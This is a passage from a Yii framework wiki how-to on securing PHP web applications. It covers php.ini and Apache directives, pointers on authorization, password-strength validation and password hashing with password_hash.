|-----------|---------|
 
| `allow_url_include` | Should be off (PHP 5.2). |
 
| `register_globals` | This is obsolete and dangerous. **Should be off.** |
 
| `magic_quotes_gpc` | Important for many PHP applications, but Yii negates its effect. **Should be off.** |
 
| `open_basedir` | Can restrict PHP to access only some directories. Use with caution. |
 
| `display_errors` | Should be off in production. |
 
| `error_reporting` | Should always include at least `E_ERRORS`. See the [official documentation](http://php.net/manual/en/errorfunc.configuration.php#ini.error-reporting). |
 
 
This directives can be set in the global "php.ini" file.
 
If Apache has `AllowOverride Options`, then ".htaccess" can be used.
 
 
```apache
 
# .htaccess file
 
php_flag display_errors off
 
php_value error_reporting -1
 
```
 
 
One can also use `php_admin_flag` and `php_admin_flag` to set config parameters that can't be changed dynamically with ".htaccess" or `ini_set()`.
 
Here is an example in an Apache config file.
 
 
```apache
 
# Apache config file
 
<Directory "/var/www/myapp">
 
php_admin_value open_basedir /var/www/myapp/:/tmp/
 
</Directory>
 
```
 
 
SSL is out of the scope of this wiki page.
 
 
 
## Authorization
 
 
Authorization is ensuring users only have access to the resources they have permissions on.
 
This is a lengthy subject, and Yii provides many useful classes to handle permissions and roles.
 
To learn about this, please read *The Definitive Guide to Yii* from 
 
[Access Control Filter](http://www.yiiframework.com/doc/guide/1.1/en/topics.auth#access-control-filter)
 
to
 
[Using Business Rules](http://www.yiiframework.com/doc/guide/1.1/en/topics.auth#using-default-roles).
 
 
Another useful resource is in the wiki: [Getting to Understand Hierarchical RBAC Scheme](http://www.yiiframework.com/wiki/136/getting-to-understand-hierarchical-rbac-scheme). For a more practical but limited case, see [CPhpAuthManager - how it works](http://www.yiiframework.com/wiki/253/cphpauthmanager-how-it-works-and-when-to-use-it/).
 
 
There are also [several](http://www.yiiframework.com/extension/rights/) [extensions](http://www.yiiframework.com/extension/rbam/) [that](http://www.yiiframework.com/extension/srbac/) can help you to set up the authorization system of your application.
 
 
 
## Authentication
 
 
### Password strength
 
 
The validation rule must reject any weak password.
 
Writing its own validation method is easy: just require a minimum size, and check that different classes of characters are present.
 
You can also use a ready-made solution, the extension [epasswordstrength](http://www.yiiframework.com/extension/epasswordstrength).
 
 
```php
 
<?php
 
class User extends CActiveRecord
 
{
 
public function rules()
 
{
 
return array(
 
array('password', 'checkPasswordStrength'),
 
);
 
}
 

 
protected function checkPasswordStrength($attribute, $params)
 
{
 
$password = $this->$attribute;
 
$valid = true;
 
$valid = $valid && preg_match('/[0-9]/', $password); // digit
 
$valid = $valid && preg_match('/\W/', $password); // non-alphanum
 
// ... other rules ...
 
$valid = $valid && (strlen($password) > 7); // min size
 
if ($valid) {
 
return true;
 
} else {
 
$this->addError($attribute, "Not secure enough");
 
return false;
 
}
 
}
 
```
 
 
Providing a client-side validation in JavaScript can be useful, since the user will know immediately if its password is secure. But don't forget this must not replace the validation in PHP. In fact, it makes validation a bit harder because your PHP validation must be the same as your JS validation. To be precise, it can be weaker than the JS, but it has to follow similar criteria.
 
There is also an extension for this, [estrongpassword](http://www.yiiframework.com/extension/estrongpassword).
 
 
### Encrypting passwords
 
 
This section considers only internal authentication, i.e. through passwords managed by the application.
 
It does not consider LDAP, SSO, OpenID, or any other external service.
 
 
Since PHP 5.4, PHP has password functions.
 
With Yii, it can be as simple as the following "User" model:
 
 
```php
 
<?php
 
class User extends CActiveRecord
 
{
 
public function validatePassword($password)
 
{
 
     // $password is the user input
 
return password_verify($password, $this->password);
 
}
 
 
public function beforeSave()
 
{
 
// Replace the raw password with the hashed one
 
        // Beware of double-encoding when you update a record!
 
if (!empty($this->password)) {
 
$this->password = password_hash($this->password, PASSWORD_DEFAULT);
 
}
 
return parent::beforeSave();
 
}
 
```



## Useful Tools

There are several tools that can detect potential security breaches in your application.
[...]
80 0
114 followers
Viewed: 321 188 times
Version: 1.1
Category: How-tos
Last updated by: François Gannaz François Gannaz
Created on: Nov 22, 2011
Last updated: 4 years ago
Update Article

Revisions

View all history